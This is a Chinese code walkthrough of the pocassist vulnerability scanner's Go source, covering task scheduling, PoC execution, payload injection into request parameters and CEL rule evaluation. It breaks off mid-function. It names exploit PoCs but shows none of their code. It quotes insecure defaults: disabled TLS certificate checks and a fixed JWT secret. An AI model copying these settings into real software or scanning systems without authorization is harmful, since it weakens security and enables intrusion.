pocassist浅析 author: https://github.com/Ciyfly pocassist浅析项目代码目录流程图 cmd/pocassist.go 整个程序启动入口 init RunApp RunServer InitAll 加载配置文件下面是所有的配置展开 conf.Setup() 加载全局配置文件 logging.Setup() 加载日志配置文件 db.Setup() 加载db配置文件 routers.Setup() 配置web util.Setup() 限流初始化 fasthttpclient jwt secret 初始化 rule.Setup() 规则配置相关初始化 ExecScriptHandle 是poc/script下的poc Handler函数 ExecExpressionHandle 是db中的yaml的类似xray格式的poc Handler函数 InitTaskChannel 任务管道 HotConf 配置热加载 routers.InitRouter 初始化web的路由并启动 db文件创建一个扫描任务 GenOriginalReq 生成一个原始请求 rule.TaskProducer 将taskitem写到TaskChannel管道里 rule.TaskConsumer() 消费TaskChannel管道里的数据调用poc测试 RunPlugins 协程限制并发运行插件 rule.RunPoc 运行poc celController.Init cel控制器初始化 celController.InitSet cel控制器初始化 controller.Next() ExecExpressionHandle controller.Groups 含有 Groups的poc执行 controller.Rules 含有 Rules的poc执行 controller.SingleRule 单条rule怎么执行 controller.DoSingleRuleRequest fasthttp发请求 raw接口 List 对于cel-go的使用理解参考项目代码目录 . ├── api # web api的接口路由 │ ├── middleware │ │ └── jwt │ │ └── jwt.go │ ├── msg │ │ └── msg.go │ └── routers │ ├── route.go │ ├── ui.go │ └── v1 │ ├── auth │ │ └── auth.go │ ├── plugin │ │ └── plugin.go │ ├── scan │ │ ├── result │ │ │ └── result.go │ │ ├── scan │ │ │ └── scan.go │ │ └── task │ │ └── task.go │ ├── vulnerability │ │ └── vulnerability.go │ └── webapp │ └── webapp.go ├── cmd # 入口程序 │ └── pocassist.go ├── config.yaml # 全局配置 ├── go.mod ├── go.sum ├── LICENSE ├── logs │ └── pocassist.log ├── main.go ├── pkg # 核心代码 cel 解析反连 │ ├── cel │ │ ├── cel.go │ │ ├── proto │ │ │ ├── http.pb.go │ │ │ └── http.proto │ │ └── reverse │ │ └── reverse.go │ ├── conf │ │ ├── config.go │ │ └── default.go │ ├── db │ │ ├── auth.go │ │ ├── conn.go │ │ ├── plugin.go │ │ ├── scanResult.go │ │ ├── scanTask.go │ │ ├── vulnerability.go │ │ └── webapp.go │ ├── file │ │ └── file.go │ ├── logging │ │ └── log.go │ └── util │ ├── jwt.go │ ├── rand.go │ ├── request.go │ ├── request_test.go │ ├── result.go │ ├── tcp.go │ ├── util.go │ └── version.go ├── poc │ ├── rule # 处理poc的等 │ │ ├── cel.go │ │ ├── content.go │ │ ├── controller.go # 核心控制 │ │ ├── handle.go │ │ ├── parallel.go │ │ ├── request.go │ │ ├── rule.go │ │ └── run.go │ └── scripts │ ├── poc-go-dedecms-bakfile-disclosure.go │ ├── poc-go-ecshop-anyone-login.go │ ├── poc-go-elasticsearch-path-traversal.go │ ├── poc-go-exim-cve-2017-16943-uaf.go │ ├── poc-go-exim-cve-2019-15846-rce.go │ ├── poc-go-fastcgi-file-read.go │ ├── poc-go-ftp-unauth.go │ ├── poc-go-iis-ms15034.go │ ├── poc-go-jboss-console-weakpwd.go │ ├── poc-go-jboss-invoker-servlet-rce.go │ ├── poc-go-jboss-serialization.go │ ├── poc-go-joomla-serialization.go │ ├── poc-go-memcached-unauth.go │ ├── poc-go-mongo-unauth.go │ ├── poc-go-openssl-heartbleed.go │ ├── poc-go-redis-unauth.go │ ├── poc-go-rsync-anonymous.go │ ├── poc-go-shiro-unserialize-550.go │ ├── poc-go-smb-cve-2020-0796.go │ ├── poc-go-tomcat-weak-pass.go │ ├── poc-go-zookeeper-unauth.go │ └── scripts.go ├── pocassist.db # poc db库 ├── README.md └── web # 前端资源 ├── bindata.go └── build ├── asset-manifest.json ├── favicon.ico ├── index.html ├── manifest.json ├── precache-manifest.883d9a3cd99a61f6112882ff7a343fde.js ├── robots.txt ├── service-worker.js └── static ├── css │ ├── 2.b2faedfb.chunk.css │ └── main.35003770.chunk.css ├── js │ ├── 2.b26af43a.chunk.js │ ├── 2.b26af43a.chunk.js.LICENSE.txt │ ├── main.c58b4be8.chunk.js │ └── runtime-main.89859971.js └── media └── bg.4bb50474.png 流程图 cmd/pocassist.go 整个程序启动入口 1. init 输出 banner等程序信息 2. RunApp 解析命令行指定的端口启动web程序 func init() { fmt.Printf("%s\n", conf.Banner) fmt.Printf("\t\tv" + conf.Version + "\n\n") fmt.Printf("\t\t" + conf.Website + "\n\n") } func InitAll() { // config 必须最先加载 conf.Setup() logging.Setup() db.Setup() routers.Setup() util.Setup() rule.Setup() } // 使用viper 对配置热加载 func HotConf() { dir, err := filepath.Abs(filepath.Dir(os.Args[0])) if err != nil { log.Fatalf("cmd.HotConf, fail to get current path: %v", err) } // 配置文件路径当前文件夹 + config.yaml configFile := path.Join(dir, conf.ConfigFileName) viper.SetConfigType("yaml") viper.SetConfigFile(configFile) // watch 监控配置文件变化 viper.WatchConfig() viper.OnConfigChange(func(e fsnotify.Event) { // 配置文件发生变更之后会调用的回调函数 log.Println("config file changed:", e.Name) InitAll() }) } func RunApp() { app := cli.NewApp() app.Name = conf.ServiceName app.Usage = conf.Website app.Version = conf.Version app.Flags = []cli.Flag{ &cli.StringFlag{ // 后端端口 Name: "port", Aliases: []string{"p"}, Value: conf.DefaultPort, Usage: "web server `PORT`", }, } app.Action = RunServer err := app.Run(os.Args) if err != nil { log.Fatalf("cli.RunApp err: %v", err) return } } func RunServer(c cli.Context) error { InitAll() HotConf() port := c.String("port") routers.InitRouter(port) return nil } init go默认的 init 导入的是 conf 的一些值 conf "github.com/jweny/pocassist/pkg/conf" 一些banner version的信息在 pkg\conf\default.go func init() { fmt.Printf("%s\n", conf.Banner) fmt.Printf("\t\tv" + conf.Version + "\n\n") fmt.Printf("\t\t" + conf.Website + "\n\n") } RunApp 使用cli 解析命令行参数获取端口参数调用 RunServer 启动web服务器 func RunApp() { app := cli.NewApp() app.Name = conf.ServiceName app.Usage = conf.Website app.Version = conf.Version app.Flags = []cli.Flag{ &cli.StringFlag{ // 后端端口 Name: "port", Aliases: []string{"p"}, Value: conf.DefaultPort, Usage: "web server `PORT`", }, } app.Action = RunServer err := app.Run(os.Args) if err != nil { log.Fatalf("cli.RunApp err: %v", err) return } } RunServer 1. 初始化所有相关配置 InitAll 2. 对配置文件进行监听实现热加载 HotConf 3. 传递端口启动web服务 routers.InitRouter(port) func RunServer(c cli.Context) error { InitAll() HotConf() port := c.String("port") routers.InitRouter(port) return nil } InitAll 加载配置文件 func InitAll() { // config 必须最先加载 conf.Setup() logging.Setup() db.Setup() routers.Setup() util.Setup() rule.Setup() } 下面是所有的配置展开 conf.Setup() 加载全局配置文件加载 config.yaml 配置文件 1. 拼接配置文件路径不存在则初始化配置文件 viper.ReadConfig(bytes.NewBuffer(defaultYamlByte)) 2. 读取配置文件 viper.ReadInConfig() 全局配置文件的结构体 type Config struct { HttpConfig HttpConfig `mapstructure:"httpConfig"` DbConfig DbConfig `mapstructure:"dbConfig"` PluginsConfig PluginsConfig `mapstructure:"pluginsConfig"` Reverse Reverse `mapstructure:"reverse"` ServerConfig ServerConfig `mapstructure:"serverConfig"` LogConfig LogConfig `mapstructure:"logConfig"` } func Setup() { dir, err := filepath.Abs(filepath.Dir(os.Args[0])) if err != nil { log.Fatalf("conf.Setup, fail to get current path: %v", err) } //配置文件路径当前文件夹 + config.yaml configFile := path.Join(dir, "config.yaml") // 检测配置文件是否存在 if !file.Exists(configFile) { WriteYamlConfig(configFile) } ReadYamlConfig(configFile) } logging.Setup() 加载日志配置文件通过上面加载的全局配置文件获取全局配置的日志级别日志文件最大多少备份多少存多久等使用的是 go.uber.org/zap func Setup(){ loggerCfg := conf.GlobalConfig.LogConfig NewLogger(conf.GlobalConfig.Level(), loggerCfg.MaxSize, loggerCfg.MaxBackups, loggerCfg.MaxAge, loggerCfg.Compress, conf.GlobalConfig) } db.Setup() 加载db配置文件支持mysql和sqlite 赋值到 dbConfig里并通过 orm框架 gorm 创建 GlobalDB 并同步设置logger func Setup() { var err error dbConfig := conf.GlobalConfig.DbConfig if conf.GlobalConfig.DbConfig.Sqlite == "" { // 配置mysql数据源 if dbConfig.Mysql.User == "" \|\| dbConfig.Mysql.Password == "" \|\| dbConfig.Mysql.Host == "" \|\| dbConfig.Mysql.Port == "" \|\| dbConfig.Mysql.Database == "" { log.Fatalf("db.Setup err: config.yaml mysql config not set") } dsn := fmt.Sprintf("%s:%s@tcp(%s:%s)/%s?charset=utf8mb4&parseTime=True&loc=Local&timeout=%s", dbConfig.Mysql.User, dbConfig.Mysql.Password, dbConfig.Mysql.Host, dbConfig.Mysql.Port, dbConfig.Mysql.Database, dbConfig.Mysql.Timeout) GlobalDB, err = gorm.Open(mysql.Open(dsn), &gorm.Config{}) if err != nil { log.Fatalf("db.Setup err: %v", err) } } else { // 配置sqlite数据源 if dbConfig.Sqlite == "" { log.Fatalf("db.Setup err: config.yaml sqlite config not set") } if dbConfig.EnableDefault { dir, err := filepath.Abs(filepath.Dir(os.Args[0])) if err != nil { log.Fatalf("db.Setup, fail to get current path: %v", err) } //配置文件路径当前文件夹 + config.yaml defaultSqliteFile := path.Join(dir, "pocassist.db") // 检测 sqlite 文件是否存在 if !file.Exists(defaultSqliteFile) { log.Fatalf("db.Setup err: pocassist.db not exist, download at https://github.com/jweny/poc } } GlobalDB, err = gorm.Open(sqlite.Open(dbConfig.Sqlite), &gorm.Config{ DisableForeignKeyConstraintWhenMigrating: true, }) if err != nil { log.Fatalf("db.Setup err: %v", err) } } if GlobalDB == nil { log.Fatalf("db.Setup err: db connect failed") } err = GlobalDB.AutoMigrate(&Auth{}, &Vulnerability{}, &Webapp{}, &Plugin{}, &Task{}, &Result{}) if err != nil { log.Fatalf("db.Setup err: %v", err) } if conf.GlobalConfig.ServerConfig.RunMode == "release" { // release下 GlobalDB.Logger = logger.Default.LogMode(logger.Silent) } } routers.Setup() 配置web 设置 gin的 mode级别为 release func Setup() { // gin 的【运行模式】运行时就已经确定无法做到热加载 gin.SetMode(conf.GlobalConfig.ServerConfig.RunMode) } gin 可设置的mode const ( // DebugMode indicates gin mode is debug. DebugMode = "debug" // ReleaseMode indicates gin mode is release. ReleaseMode = "release" // TestMode indicates gin mode is test. TestMode = "test" ) util.Setup() 限流初始化 fasthttpclient jwt secret 初始化 func InitRate() { msQps := conf.GlobalConfig.HttpConfig.MaxQps / 10 limit := rate.Every(100 * time.Millisecond) limiter = rate.NewLimiter(limit, msQps) } 使用的是 golang.org/x/time/rate 基于令牌桶算法随着时间以 1/r 个令牌的速度向容积为b个令牌的桶中添加令牌有请求就取走令牌若令牌不足则不执行请求或者等待通过该fasthttp创建client 是一个比 net/http 快10倍的客户端请求库去掉ua头 DisablePathNormalizing 是删除额外的斜杠，对特殊字符进行编码并且配置代理 client := &fasthttp.Client{ // If InsecureSkipVerify is true, TLS accepts any certificate TLSConfig: &tls.Config{InsecureSkipVerify: true}, NoDefaultUserAgentHeader: true, DisablePathNormalizing: true, } jwt secret jwtSecret = []byte(conf2.GlobalConfig.ServerConfig.JwtSecret) 配置在 config.yaml serverconfig: jwt_secret: pocassist func Setup() { // 请求限速 limiter 初始化 InitRate() // fasthttp client 初始化 DownProxy := conf2.GlobalConfig.HttpConfig.Proxy client := &fasthttp.Client{ // If InsecureSkipVerify is true, TLS accepts any certificate TLSConfig: &tls.Config{InsecureSkipVerify: true}, NoDefaultUserAgentHeader: true, DisablePathNormalizing: true, } if DownProxy != "" { log.Info("[fasthttp client use proxy ]", DownProxy) client.Dial = fasthttpproxy.FasthttpHTTPDialer(DownProxy) } fasthttpClient = client // jwt secret 初始化 jwtSecret = []byte(conf2.GlobalConfig.ServerConfig.JwtSecret) } rule.Setup() 规则配置相关初始化 poc\rule\handle.go 1. 初始化一个字典 key是字符串 value是 HandlerFunc列表 2. 给 Handles 添加 "script" 的value是函数 ExecScriptHandle ExecScriptHandle 函数见下面详细展开 3. 给 Handles 添加 "appendparam" 的value是函数 ExecExpressionHandle ExecExpressionHandle 函数见下面详细展开 4. 给 Handles 添加 "replaceparam" 的value是函数 ExecExpressionHandle 5. 调用函数 InitTaskChannel 函数见下面详细展开 func Setup() { Handles = make(map[string][]HandlerFunc) Handles[AffectScript] = []HandlerFunc{ExecScriptHandle} Handles[AffectAppendParameter] = []HandlerFunc{ExecExpressionHandle} Handles[AffectReplaceParameter] = []HandlerFunc{ExecExpressionHandle} InitTaskChannel() } HandlerFunc 定义了一个统一的handler函数规范参数是 controllerContext poc/rule/handle.go#9 type HandlerFunc func(ctx controllerContext) poc/rule/handle.go#52 controllerContext 定义了一个接口后面应该有多个实现控制器吧然后会有多个 HandlerFunc 函数解析多种 controllerContext接口实现的结构体 type controllerContext interface { Next() Abort() IsAborted() bool GetString(key string) string Set(key string, value interface{}) Get(key string) (value interface{}, exists bool) GetPoc() Poc Groups(bool) (result bool, err error) Rules([]Rule, bool) (result bool, err error) GetPocName() string GetOriginalReq() http.Request SetResult(result util.ScanResult) IsDebug() bool // RegisterHandle(f HandlersChain) } ExecScriptHandle 是poc/script下的poc Handler函数 1. 通过控制器上下文其实就是一个poc结构体获取名称 2. 使用poc名称通过 scripts.GetScriptFunc 获取扫描函数 GetScriptFunc的函数是从 scriptHandlers 字典中通过 pocNmae 获取 scanFunc 即是验证方法 3. 输出信息日志 4. 处理端口和是否是https 创建 scripts.ScriptScanArgs 脚本扫描函数使用的参数结构体传入 scanFunc 5. 执行后将结果传递给 SetResult 保存结果并执行调用 Abort 终止 func ExecScriptHandle(ctx controllerContext) { pocName := ctx.GetPocName() scanFunc := scripts.GetScriptFunc(pocName) if scanFunc == nil { log.Error("[rule/handle.go:ExecScriptHandle error] ", "scan func is nil") ctx.Abort() return } log.Info("[rule/handle.go:ExecScriptHandle script start]" + pocName) var isHTTPS bool // 处理端口 defaultPort := 80 originalReq := ctx.GetOriginalReq() if originalReq == nil { log.Error("[rule/handle.go:ExecScriptHandle error] ", "original request is nil") ctx.Abort() return } if originalReq.URL.Scheme == "https" { isHTTPS = true defaultPort = 443 } if originalReq.URL.Port() != "" { port, err := strconv.ParseUint(originalReq.URL.Port(), 10, 16) if err != nil { ctx.Abort() return } defaultPort = int(port) } args := &scripts.ScriptScanArgs{ Host: originalReq.URL.Hostname(), Port: uint16(defaultPort), IsHTTPS: isHTTPS, } result, err := scanFunc(args) if err != nil { log.Error("[rule/handle.go:ExecScriptHandle error] ", err) ctx.Abort() return } ctx.SetResult(result) ctx.Abort() } ExecExpressionHandle 是db中的yaml的类似xray格式的poc Handler函数 1. 获取Poc 2. poc的 Groups 如果不是空 ctx.Groups(ctx.IsDebug()) 3. 如果是空 ctx.Rules(poc.Rules,ctx.IsDebug()) 4. 返回的result结果不是空调用 Abort 终止否则返回 func ExecExpressionHandle(ctx controllerContext){ var result bool var err error poc := ctx.GetPoc() if poc == nil { log.Error("[rule/handle.go:ExecExpressionHandle error] ", "poc is nil") return } if poc.Groups != nil { result, err = ctx.Groups(ctx.IsDebug()) } else { result, err = ctx.Rules(poc.Rules,ctx.IsDebug()) } if err != nil { log.Error("[rule/handle.go:ExecExpressionHandle error] ", err) return } if result { ctx.Abort() } return } InitTaskChannel 任务管道初始化任务管道限制管道大小10个管道里的数据是 TaskItem // 限制并发 type TaskItem struct { OriginalReq http.Request // 原始请求 Plugins []Plugin // 检测插件 Task db.Task // 所属任务 } var TaskChannel chan TaskItem func InitTaskChannel(){ // channel 限制 target 并发 concurrent := 10 if conf.GlobalConfig.PluginsConfig.Concurrent != 0 { concurrent = conf.GlobalConfig.PluginsConfig.Concurrent } TaskChannel = make(chan TaskItem, concurrent) } HotConf 配置热加载配置配置文件路径当配置文件发生任何事件都重新调用 InitAll 重新初始化配置 // 使用viper 对配置热加载 func HotConf() { dir, err := filepath.Abs(filepath.Dir(os.Args[0])) if err != nil { log.Fatalf("cmd.HotConf, fail to get current path: %v", err) } // 配置文件路径当前文件夹 + config.yaml configFile := path.Join(dir, conf.ConfigFileName) viper.SetConfigType("yaml") viper.SetConfigFile(configFile) // watch 监控配置文件变化 viper.WatchConfig() viper.OnConfigChange(func(e fsnotify.Event) { // 配置文件发生变更之后会调用的回调函数 log.Println("config file changed:", e.Name) InitAll() }) } routers.InitRouter 初始化web的路由并启动通过 gin 来启动web服务 1. 如果是 debug 模式开启 swagger 2. 设置静态资源路径 ui 3. 定义api 增删改查接口 func InitRouter(port string) { router := gin.Default() // debug 模式下开启 swagger if conf.GlobalConfig.ServerConfig.RunMode == "debug" { router.GET("/swagger/any", gs.WrapHandler(swaggerFiles.Handler)) } // ui router.StaticFS("/ui", BinaryFileSystem("web/build")) router.GET("/", func(c gin.Context) { c.Redirect(http.StatusPermanentRedirect, "/ui") }) // api v1 := router.Group("/api/v1") { v1.POST("/user/login", auth.Login) userRoutes := v1.Group("/user") userRoutes.Use(jwt.JWT()) { userRoutes.POST("/self/resetpwd/", auth.Reset) userRoutes.GET("/info", auth.Self) userRoutes.GET("/logout", auth.Logout) } pluginRoutes := v1.Group("/poc") pluginRoutes.Use(jwt.JWT()) { // all pluginRoutes.GET("/", plugin.Get) // 增 pluginRoutes.POST("/", plugin.Add) // 改 pluginRoutes.PUT("/:id/", plugin.Update) // 详情 pluginRoutes.GET("/:id/", plugin.Detail) // 删 pluginRoutes.DELETE("/:id/", plugin.Delete) // 测试单个poc pluginRoutes.POST("/run/", plugin.Run) // 上传yaml文件 pluginRoutes.POST("/upload/", plugin.UploadYaml) // 下载yaml文件 pluginRoutes.POST("/download/", plugin.DownloadYaml) } vulRoutes := v1.Group("/vul") vulRoutes.Use(jwt.JWT()) { // basic vulRoutes.GET("/basic/", vulnerability.Basic) // all vulRoutes.GET("/", vulnerability.Get) // 增 vulRoutes.POST("/", vulnerability.Add) // 改 vulRoutes.PUT("/:id/", vulnerability.Update) // 详情 vulRoutes.GET("/:id/", vulnerability.Detail) // 删 vulRoutes.DELETE("/:id/", vulnerability.Delete) } appRoutes := v1.Group("/product") appRoutes.Use(jwt.JWT()) { // all appRoutes.GET("/", webapp.Get) // 增 appRoutes.POST("/", webapp.Add) // 改 appRoutes.PUT("/:id/", webapp.Update) // 详情 appRoutes.GET("/:id/", webapp.Detail) // 删 appRoutes.DELETE("/:id/", webapp.Delete) } scanRoutes := v1.Group("/scan") scanRoutes.Use(jwt.JWT()) { scanRoutes.POST("/url/", scan2.Url) scanRoutes.POST("/raw/", scan2.Raw) scanRoutes.POST("/list/", scan2.List) } taskRoutes := v1.Group("/task") taskRoutes.Use(jwt.JWT()) { // all taskRoutes.GET("/", task.Get) // 删 taskRoutes.DELETE("/:id/", task.Delete) } resultRoutes := v1.Group("/result") resultRoutes.Use(jwt.JWT()) { // all resultRoutes.GET("/", result.Get) // 删 resultRoutes.DELETE("/:id/", result.Delete) } } router.Run(":" + port) log.Info("server start at port:", port) } 这样web都已经启动了那我们看看如果再界面上创建一个扫描任务是怎么样的 db文件如果程序要想启动还需要个db文件地址 https://github.com/jweny/pocassistdb 里面包含web需要使用的账户数据描述等最主要是的表 plugins 如下图所示他是把yaml格式的poc解析成json后加上描述名称等字段入库创建一个扫描任务首先启动程序后配置文件默认监听是 1321 端口看后端代码 api\routers\route.go#107 scanRoutes := v1.Group("/scan") { // url的是创建单个url的任务 scanRoutes.POST("/url/", scan2.Url) // raw是上传raw文件的任务 scanRoutes.POST("/raw/", scan2.Raw) // list是url列表文件的任务 scanRoutes.POST("/list/", scan2.List) } url的处理函数 1. 接收前端参数获取要用的poc名称目标等信息 2. 通过 util.GenOriginalReq 生成一个请求包 3. 通过 rule.LoadDbPlugin 从数据库中加载poc 全部的poc还是指定的poc 根据vul_id来查询 4. 创建任务 task 创建 taskItem 包含生成的请求包 poc列表 task 5. rule.TaskProducer(taskItem) func Url(c gin.Context) { scan := scanSerializer{} err := c.ShouldBindJSON(&scan) if err != nil { c.JSON(msg.ErrResp("测试url不可为空，扫描类型为multi或all")) return } oreq, err := util.GenOriginalReq(scan.Target) if err != nil \|\| oreq == nil { c.JSON(msg.ErrResp("原始请求生成失败")) return } // 插件列表 plugins, err := rule.LoadDbPlugin(scan.Type, scan.VulList) if err != nil \|\| plugins == nil{ c.JSON(msg.ErrResp("poc插件加载失败" + err.Error())) return } token := c.Request.Header.Get("Authorization") claims, _ := util.ParseToken(token) // 创建任务 task := db.Task{ Operator: claims.Username, Remarks: scan.Remarks, Target: scan.Target, } db.AddTask(&task) taskItem := &rule.TaskItem{ OriginalReq: oreq, Plugins: plugins, Task: &task, } c.JSON(msg.SuccessResp("任务下发成功")) go rule.TaskProducer(taskItem) go rule.TaskConsumer() return } GenOriginalReq 生成一个原始请求 pkg\util\request.go#421 这个request对象是没有发起请求的 1. 校验目标是否可以连接通过发一个tcp包来判断排除 icmp 的 2. 生成一个request对象 originalReq, err := http.NewRequest("GET", fixTarget, nil) 3. 添加 headers host Accept-Encoding Connection 等并返回生成的request包 func GenOriginalReq(target string) (http.Request, error) { verify, fixTarget := VerifyInputTarget(target) if !verify { errMsg := fmt.Errorf("util/requests.go:GenOriginalReq %s can not connect", target) log.Error(errMsg) return nil, errMsg } originalReq, err := http.NewRequest("GET", fixTarget, nil) if err != nil { errMsg := fmt.Errorf("util/requests.go:GenOriginalReq %s original request gen error %v", target, err) log.Error(errMsg) return nil, errMsg } originalReq.Header.Set("Host", originalReq.Host) originalReq.Header.Set("Accept-Encoding", "gzip, deflate") originalReq.Header.Set("Accept", "/") originalReq.Header.Set("User-Agent", conf.GlobalConfig.HttpConfig.Headers.UserAgent) originalReq.Header.Set("Accept-Language", "en") originalReq.Header.Set("Connection", "close") return originalReq, nil } rule.TaskProducer 将taskitem写到TaskChannel管道里 func TaskProducer(item TaskItem) { TaskChannel <- item } rule.TaskConsumer() 消费TaskChannel管道里的数据调用poc测试从 TaskChannel 管道中接收数据后通过 RunPlugins 处理数据 func TaskConsumer() { for item := range TaskChannel { // 校验格式 err := item.Verify() if err != nil { log.Error("[rule/poc.go:WriteTaskError scan error] ", err) db.ErrorTask(item.Task.Id) continue } RunPlugins(item) } } RunPlugins 协程限制并发运行插件 poc\rule\parallel.go#137 1. 从配置文件中获取到限制并发数量 8 2. 通过 ants 创建协程池来管理协程 3. 通过 rule.RunPoc 来调用poc 4. 当所有poc都run完才认为这个任务是完成的了 func RunPlugins(item TaskItem) { // 限制插件并发数 var wg sync.WaitGroup parallel := conf.GlobalConfig.PluginsConfig.Parallel p, _ := ants.NewPoolWithFunc(parallel, func(item interface{}) { RunPoc(item, false) wg.Done() }) defer p.Release() oreq := item.OriginalReq plugins := item.Plugins task := item.Task log.Info("[rule/parallel.go:TaskConsumer start scan]", oreq.URL.String()) for i := range plugins { item := &ScanItem{oreq, &plugins[i], task} wg.Add(1) p.Invoke(item) } wg.Wait() db.DownTask(task.Id) } rule.RunPoc 运行poc poc\rule\run.go#54 根据poc的参数位置替换请求对应位置的参数如果script即go的poc代码直接调用如果json的即原来是yaml的在 db里的通过cel控制器处理验证最后输出结果 1. 获取 scanItem 后调用 Verify 方法只是验证数据是否都不是空的 2. 定义 req控制器 RequestController 定义 cel控制器 CelController 3. 初始化 req requestController.Init(scanItem.OriginalReq) 生成Fasthttp 原始请求转为fasthttp 4. 获取handler handles := getHandles(scanItem.Plugin.Affects) 默认是数据库里的除 script 的即go脚本的 5. 初始化cel celController.Init(scanItem.Plugin.JsonPoc) 对这个poc进行cel构建 6. 根据实际的req包与 poc合并处理 celController.InitSet(scanItem.Plugin.JsonPoc, requestController.New) 将poc的set变量赋值赋值 request 到 cel控制器中传递变量后给后续表达式使用 7. util.RequestPut(requestController.New) 将fasthttp请求包写到 sync.pool 共享池里节省内存 8. 根据数据库中的插件的影响类型例如是参数类型目录脚本等类型分别处理这个类型是数据库里的表 plugins 的字段 affects 根据给出的db文件类型只有 directory 即 AffectDirectory 和script的 9. 如果是参数类型 a. 通过 InitOriginalQueryParams 获取参数数据如果get就获取params否则就获取body b. 初始化poc控制器通过 InitPocController(&requestController, scanItem.Plugin, &celController, handles) c. 获取所有url参数 originalParamFields, err := url.ParseQuery(requestController.OriginalQueryParams) c. 遍历参数 requestController.FixQueryParams(field, payload, controller.Plugin.Affects) 将payload插入到所有的参数中 d. controller.Next() 对poc中的每个HandleFunc函数进行调用 e. 如果被终止了说明存在漏洞封装漏洞结果 util.VulnerableHttpResult 写任务结果 WriteTaskResult f. 重置这个控制器写到 poc控制器池 ControllerPool 里节省内存给下一次调用 g. 如果没漏洞也要写到 poc控制器池 ControllerPool 里 10. 如果是 directory server url text 级别的 a. 初始化控制器 InitPocController(&requestController, scanItem.Plugin, &celController, handles) b. 调用 Next 方法 c. 判断是否存在漏洞同上 d. 如果是debug状态没漏洞的话结果是 util.DebugVulnerableHttpResult(controller.GetOriginalReq().URL.String(), "", controller.Request.Raw) 封装的 11. 如果是 script a. 初始化poc控制器 controller := InitPocController(&requestController, scanItem.Plugin, &celController, handles) b. 如果是终止的脚本结果不是空脚本的漏洞不是空则保存结果 util.ScanResult c. 写漏洞结构 poc控制器重置入池 d. 如果是debug模式也是使用 util.DebugVulnerableHttpResult 封装下结果 e. 如果没漏洞也要写到 poc控制器池 ControllerPool 里 12. 都不是的话返回没有漏洞 util.InVulnerableResult // 执行单个poc func RunPoc(inter interface{}, debug bool) (result util.ScanResult, err error) { scanItem := inter.(ScanItem) err = scanItem.Verify() if err != nil { log.Error("[rule/poc.go:RunPoc scan item verify error] ", err) return nil, err } log.Info("[rule/poc.go:RunPoc current plugin]", scanItem.Plugin.JsonPoc.Name) var requestController RequestController var celController CelController err = requestController.Init(scanItem.OriginalReq) if err != nil { log.Error("[rule/poc.go:RunPoc request controller init error] ", err) return nil, err } handles := getHandles(scanItem.Plugin.Affects) err = celController.Init(scanItem.Plugin.JsonPoc) if err != nil { log.Error("[rule/poc.go:RunPoc cel controller init error] ", err) return nil, err } err = celController.InitSet(scanItem.Plugin.JsonPoc, requestController.New) if err != nil { util.RequestPut(requestController.New) log.Error("[rule/poc.go:RunPoc cel controller init set error] ", err) return nil, err } switch scanItem.Plugin.Affects { // 影响为参数类型 case AffectAppendParameter, AffectReplaceParameter: { err := requestController.InitOriginalQueryParams() if err != nil { log.Error("[rule/poc.go:RunPoc init original request params error] ", err) return nil, err } controller := InitPocController(&requestController, scanItem.Plugin, &celController, handles) controller.Debug = debug paramPayloadList := scanItem.Plugin.JsonPoc.Params originalParamFields, err := url.ParseQuery(requestController.OriginalQueryParams) if err != nil { log.Error("[rule/poc.go:RunPoc params query parse error] ", err) return nil, err } for field := range originalParamFields { for _, payload := range paramPayloadList { log.Info("[rule/poc.go:RunPoc param payload]", payload) err = requestController.FixQueryParams(field, payload, controller.Plugin.Affects) if err != nil { log.Error("[rule/poc.go:RunPoc fix request params error] ", err) continue } controller.Next() if controller.IsAborted() { // 存在漏洞 result = util.VulnerableHttpResult(controller.GetOriginalReq().URL.String WriteTaskResult(scanItem, result) PutController(controller) return result, nil } controller.Index = 0 } } // 没漏洞 result = &util.InVulnerableResult PutController(controller) return result, nil } case AffectDirectory, AffectServer, AffectURL, AffectContent: { controller := InitPocController(&requestController, scanItem.Plugin, &celController, handles) controller.Debug = debug controller.Next() if controller.IsAborted() { // 存在漏洞 result = util.VulnerableHttpResult(controller.GetOriginalReq().URL.String(), "", controlle WriteTaskResult(scanItem, result) PutController(controller) return result, nil } else if debug{ // debug 没漏洞 result = util.DebugVulnerableHttpResult(controller.GetOriginalReq().URL.String(), "", cont PutController(controller) return result, nil }else { // 没漏洞 result = &util.InVulnerableResult PutController(controller) return result, nil } } case AffectScript: { controller := InitPocController(&requestController, scanItem.Plugin, &celController, handles) controller.Debug = debug controller.Next() if controller.IsAborted() && controller.ScriptResult != nil && controller.ScriptResult.Vulnerable // 存在漏洞保存结果 result = &util.ScanResult{ Vulnerable: controller.ScriptResult.Vulnerable, Target: controller.ScriptResult.Target, Output: controller.ScriptResult.Output, ReqMsg: controller.ScriptResult.ReqMsg, RespMsg: controller.ScriptResult.RespMsg, } WriteTaskResult(scanItem, controller.ScriptResult) PutController(controller) return result, nil } else if debug { // debug 没漏洞 result = util.DebugVulnerableHttpResult(controller.GetOriginalReq().URL.String(), "", cont PutController(controller) return result, nil } else { // 没漏洞 PutController(controller) return &util.InVulnerableResult, nil } } } // 默认返回没有漏洞 return &util.InVulnerableResult, nil } celController.Init cel控制器初始化 poc\rule\cel.go#25 1. cel2.InitCelOptions() 加入大量的xray的自定义函数例如 randomInt base64Decode 等还有变量 2. option.AddRuleSetOptions(poc.Set) 注入set的变量 set的是 poc里的定义的变量类型默认都是字符串的 3. cel2.InitCelEnv(&option) 创建env环境 4. 将cel的env赋值到 Env 并定义个参数map ParamMap 到cel控制器中 // 初始化 func (cc CelController) Init(poc Poc) (err error) { // 1.生成cel env环境 option := cel2.InitCelOptions() // 注入set定义的变量 if poc.Set != nil { option.AddRuleSetOptions(poc.Set) } env, err := cel2.InitCelEnv(&option) if err != nil { log.Error("[rule/cel.go:Init init cel env error]", err) return err } cc.Env = env // 初始化变量列表 cc.ParamMap = make(map[string]interface{}) return nil } celController.InitSet cel控制器初始化 poc\rule\cel.go#44 1. 将request添加到 ParamMap 2. 将set变量也添加到 ParamMap 如果是反连要创建个反连 reverse.NewReverse() 3. cel2.Evaluate(cc.Env, value, cc.ParamMap) 构建set的cel 执行 4. cel执行解析后将对于解析后的值替换回 ParamMap 为了给后续poc表达式使用变量 // 处理poc: set func (cc CelController) InitSet(poc Poc, newReq proto.Request) (err error) { // 如果没有set 就直接返回 if len(poc.Set) == 0 { return } cc.ParamMap["request"] = newReq for _, setItem := range poc.Set { key := setItem.Key.(string) value := setItem.Value.(string) // 反连平台 if value == "newReverse()" { cc.ParamMap[key] = reverse.NewReverse() continue } out, err := cel2.Evaluate(cc.Env, value, cc.ParamMap) if err != nil { return err } switch value 